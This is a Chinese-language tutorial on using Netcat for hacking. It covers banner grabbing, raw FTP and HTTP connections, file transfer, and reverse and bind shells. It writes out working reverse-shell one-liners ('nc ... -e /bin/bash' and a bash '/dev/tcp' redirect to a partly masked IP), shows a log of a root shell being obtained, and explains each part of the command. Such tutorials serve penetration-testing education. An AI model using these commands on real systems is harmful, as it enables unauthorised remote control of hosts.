Netcat 網絡攻擊 以及 應用
1.用Netcat進行黑客攻擊第1部分:基礎知識
Netcat是一個很好的網絡實用程序,用於使用TCP和UPD協議讀取和寫入網絡連接。Netcat通常被稱為網絡工具中的瑞士軍刀,我們將在使用黑客教程的不同教程中大量使用它。Netcat最常見的用途是設置反向和綁定shell,管道和重定向網絡流量,端口偵聽,調試程序和腳本以及Banner抓取。在本教程中,我們將學習如何使用Netcat的基本功能,如:
Banner抓取 原始連接 Web服務器交互
1.1 Netcat Banner獲取
使用以下命令來獲取服務器Banner(與服務建立原始連接):
nc [ip address] [port]
我們來試試這個在21端口運行的Metasploitable 2上的FTP服務:
nc 192.168.1.100 21
nc [ip] [port]用於與端口進行原始連接,當可用時將返回服務器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制鏈接
220 (vsFTPd 2.2.2) # 系統服務 banner
1.2 Netcat原連接
為了演示原始連接的工作原理,我們將在FTP服務連接到目標主機后發出一些FTP命令。
在匿名的情況下,我們來看看這個FTP服務器是否允許匿名訪問,通過USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.
1.3 Web服務器交互
Netcat還可以通過發出HTTP請求與Web服務器進行交互。
通過以下命令,我們可以抓住在Metasploitable 2上運行的Web服務的Banner:
nc 23.105.202.xx 80
然后運行此HTTP請求:
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 輸入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
1.4 使用Netcat進行文件傳輸
在這個例子中,我們將使用Netcat連接傳輸一個文本文件。假設我們在目標主機上執行遠程命令,我們希望將文件從攻擊主機傳輸到目標主機。首先,我們需要在目標主機上設置一個偵聽器,並從攻擊主機連接到它。我們將使用端口8080用於此目的,我們將該文件安全保存到桌面:
nc -lvp 8080> 1.txt
在攻擊主機上,我們連接到8080端口並發送文件名稱transfer.txt:
nc 192.168.100.107 8080 < 1.txt
2 用Netcat進行黑客攻擊第2部分:綁定和反向shell
Netcat反向reverse shell
在滲透測試中,最常見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起到處於監聽狀態的攻擊機器的shell連接方式,又叫被動連接,而正向bind shell是攻擊主機通過特定的端口進行偵聽目標主機即將到來的連接。在惡意軟件中,bind shell又通常被稱為后門。
在下面的內容中我們將展示使用bind shell和reverse shell。下面將使用4444端口,但請注意,這可以是任何開放端口。實際上,通常您需要使用更常見的端口,如80和443來設置反向shell,因為這些端口是更常見的打開。
NC reverse shell 工作原理:
攻擊主機A執行:
nc -lvp 4444 ; 監聽被攻擊者鏈接
被攻擊主機B執行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 將bash shell 權限提供給攻擊者 實現控制權限的轉移;
實現通信后:
在攻擊主機A上執行命令,即可操作被攻擊者B
缺點:
此時被攻擊者B 需要使用Netcat命令, 而且普通 GNU Linux nc 並沒有 -e { -e filename program to exec after connect [dangerous]} 參數; 顧此種反向鏈接並不適用;
2.1 使用Bash 來代替Nc實現反向鏈接;
被攻擊主機B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻擊者A:
nc -lvp 4444
A機代碼:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此時B機執行轉移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
命令解釋:
bash:
-i if the -i option is present, the shell is interactive
shell:
0/1/2 分別代表Linux標准輸入,輸出,異常 即 C編程中的 stdin, stdout, stderr
0>&1 指 將標准輸入完全輸出到標准輸出中;
采用&可以將 0/1 綁定在一起。這條命令的作用標准輸入將和標准輸出同用一個文件描述符,說人話就是錯誤輸入將會和標准輸出輸出到同一個地方。
2.2 Netcat正向bind Shell
bind shell是一個綁定到目標主機上的特定端口以監聽即將到來的連接的shell。我們來看看一個Netcat正向bind shell的原理:
攻擊主機A:
rocky@mac: nc 192.168.1.9 4444
id
uid=0(root) gid=0(root) groups=0(root)
echo $HOSTNAME
kailvirtual
相同點:
我們都需要被攻擊者將其shell控制權限交給我們
將shell command 以數據流的形式重定向到被攻擊主機的Bash shell中;